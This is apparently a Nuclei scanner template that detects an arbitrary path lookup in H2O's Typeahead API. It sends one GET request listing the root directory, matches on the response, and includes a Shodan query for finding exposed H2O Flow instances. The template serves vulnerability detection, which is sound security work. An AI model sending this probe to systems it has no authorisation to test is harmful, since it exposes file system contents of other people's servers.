h2o-arbitary-file-read: H2O - Arbitrary Path Lookup

id: h2o-arbitary-file-read

info:
  name: H2O - Arbitrary Path Lookup
  author: danmcinerney,byt3bl33d3r
  severity: medium
  description: |
    H2O allows for arbitrary path lookup via it's Typehead API endpoint
  reference:
    - https://huntr.com/bounties/e76372c2-39be-4984-a7c8-7048a75a25dc/
  classification:
    cwe-id: CWE-200
    cpe: cpe:2.3:a:h2o:h2o:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"H2O Flow"
    product: h2o
    vendor: h2o
  tags: h2o-3,h2o,info-leak,lfi,misconfig

http:
  - raw:
      - |
        GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"/bin"'
          - '"__meta":'
          - '"schema_name":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200ca1dfc9ab34a56ffebb2750058133b33208a4599da25bb74a3f400a5c116998022100b429182f10a7bb15e63de5efa7077906f04723ca8b39ab88e064d42a7f71ef9a:922c64590222798bb761d5b6d8e72950